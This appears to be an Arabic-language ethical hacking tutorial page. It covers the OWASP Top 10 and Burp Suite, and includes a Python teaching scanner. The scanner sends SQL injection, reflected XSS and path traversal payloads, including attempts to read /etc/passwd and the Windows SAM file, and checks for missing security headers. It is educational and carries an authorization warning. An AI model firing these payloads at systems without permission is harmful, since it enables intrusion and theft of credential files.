اختراق تطبيقات الويب — الاختراق الأخلاقي
اختراق تطبيقات الويب
OWASP Top 10
أشهر 10 ثغرات في تطبيقات الويب:
1. Broken Access Control
الوصول لصفحات غير مصرّح بها
/admin ← يجب أن يكون محمي!
/user/123/profile ← هل يمكنني رؤية /user/456/profile؟2. Cryptographic Failures
مشاكل التشفير (كلمات مرور بـ MD5، HTTP بدون TLS)
3. Injection
حقن كود ضار (SQLi, Command Injection, XSS)
4. Insecure Design
تصميم غير آمن من الأساس
5. Security Misconfiguration
إعدادات خاطئة (debug mode في production)
6. Vulnerable Components
مكتبات قديمة بها ثغرات
7. Authentication Failures
مشاكل في تسجيل الدخول
8. Software Integrity Failures
تحديثات بدون تحقق
9. Logging Failures
عدم تسجيل الأحداث الأمنية
10. SSRF
Server-Side Request Forgery
Burp Suite
أداة أساسية لاختبار الويب
الوظائف
- Proxy: اعتراض الطلبات
- Repeater: تعديل وإعادة إرسال
- Intruder: هجمات آلية
- Scanner: فحص ثغرات (Pro)
سير العمل
1. اضبط المتصفح للمرور عبر Burp
2. تصفح التطبيق طبيعياً
3. راقب الطلبات في Proxy
4. عدّل وأعد إرسال في Repeater
# اختبار ثغرات الويب (للتعليم)
import requests
import re
from urllib.parse import urljoin, urlparse
class WebVulnScanner:
"""
فاحص ثغرات ويب بسيط للتعليم
⚠️ استخدم فقط على تطبيقاتك أو بإذن!
"""
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.findings = []
# ===== SQL Injection Test =====
def test_sqli(self, url, param):
"""
اختبار SQL Injection بسيط
"""
print(f"\n🔍 اختبار SQLi على {param}...")
payloads = [
"' OR '1'='1",
"' OR '1'='1'--",
"' OR '1'='1'/*",
"1' AND '1'='1",
"1 OR 1=1",
"' UNION SELECT NULL--",
]
for payload in payloads:
try:
# اختبار في GET parameter
test_url = f"{url}?{param}={payload}"
response = self.session.get(test_url, timeout=5)
# علامات SQLi
sql_errors = [
"SQL syntax",
"mysql_fetch",
"ORA-00933",
"PostgreSQL",
"SQLite3",
"SQLITE_ERROR",
"Warning: mysql",
"Unclosed quotation",
]
for error in sql_errors:
if error.lower() in response.text.lower():
finding = {
"type": "SQL Injection",
"severity": "Critical",
"url": url,
"parameter": param,
"payload": payload,
"evidence": error
}
self.findings.append(finding)
print(f" 🔴 وُجدت ثغرة! Payload: {payload}")
return True
except:
pass
print(f" ✅ لم تُكتشف ثغرة SQLi")
return False
# ===== XSS Test =====
def test_xss(self, url, param):
"""
اختبار XSS بسيط
"""
print(f"\n🔍 اختبار XSS على {param}...")
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"'><script>alert('XSS')</script>",
]
for payload in payloads:
try:
test_url = f"{url}?{param}={payload}"
response = self.session.get(test_url, timeout=5)
# هل الـ payload يظهر في الرد؟
if payload in response.text:
finding = {
"type": "Reflected XSS",
"severity": "High",
"url": url,
"parameter": param,
"payload": payload
}
self.findings.append(finding)
print(f" 🔴 وُجدت ثغرة! Payload: {payload[:30]}...")
return True
except:
pass
print(f" ✅ لم تُكتشف ثغرة XSS")
return False
# ===== Directory Traversal =====
def test_path_traversal(self, url, param):
"""
اختبار Path Traversal
"""
print(f"\n🔍 اختبار Path Traversal على {param}...")
payloads = [
"../../../etc/passwd",
"....//....//....//etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"/etc/passwd",
"....//....//....//windows/win.ini",
]
indicators = [
"root:x:", # Linux passwd
"daemon:",
"[extensions]", # Windows ini
"for 16-bit app",
]
for payload in payloads:
try:
test_url = f"{url}?{param}={payload}"
response = self.session.get(test_url, timeout=5)
for indicator in indicators:
if indicator in response.text:
finding = {
"type": "Path Traversal",
"severity": "Critical",
"url": url,
"parameter": param,
"payload": payload
}
self.findings.append(finding)
print(f" 🔴 وُجدت ثغرة!")
return True
except:
pass
print(f" ✅ لم تُكتشف ثغرة Path Traversal")
return False
# ===== Security Headers Check =====
def check_security_headers(self):
"""
فحص headers الأمان
"""
print(f"\n🔍 فحص Security Headers...")
try:
response = self.session.get(self.base_url, timeout=5)
headers = response.headers
security_headers = {
"Content-Security-Policy": "يمنع XSS",
"X-Frame-Options": "يمنع Clickjacking",
"X-Content-Type-Options": "يمنع MIME sniffing",
"Strict-Transport-Security": "يفرض HTTPS",
"X-XSS-Protection": "حماية XSS قديمة",
}
for header, description in security_headers.items():
if header in headers:
print(f" ✅ {header}")
else:
print(f" ❌ {header} مفقود ({description})")
self.findings.append({
"type": "Missing Security Header",
"severity": "Low",
"header": header,
"description": description
})
except Exception as e:
print(f" خطأ: {e}")
# ===== Full Scan =====
def full_scan(self, params=None):
"""
فحص شامل
"""
if params is None:
params = ['id', 'page', 'file', 'query', 'search', 'user']
print(f"\n{'='*50}")
print(f" فحص أمني لـ {self.base_url}")
print(f"{'='*50}")
self.check_security_headers()
for param in params:
self.test_sqli(self.base_url, param)
self.test_xss(self.base_url, param)
self.test_path_traversal(self.base_url, param)
print(f"\n{'='*50}")
print(f" الملخص: {len(self.findings)} ثغرات")
print(f"{'='*50}")
return self.findings
# مثال (على DVWA أو تطبيق تملكه)
# scanner = WebVulnScanner("http://localhost/dvwa/")
# scanner.full_scan()اختبر فهمك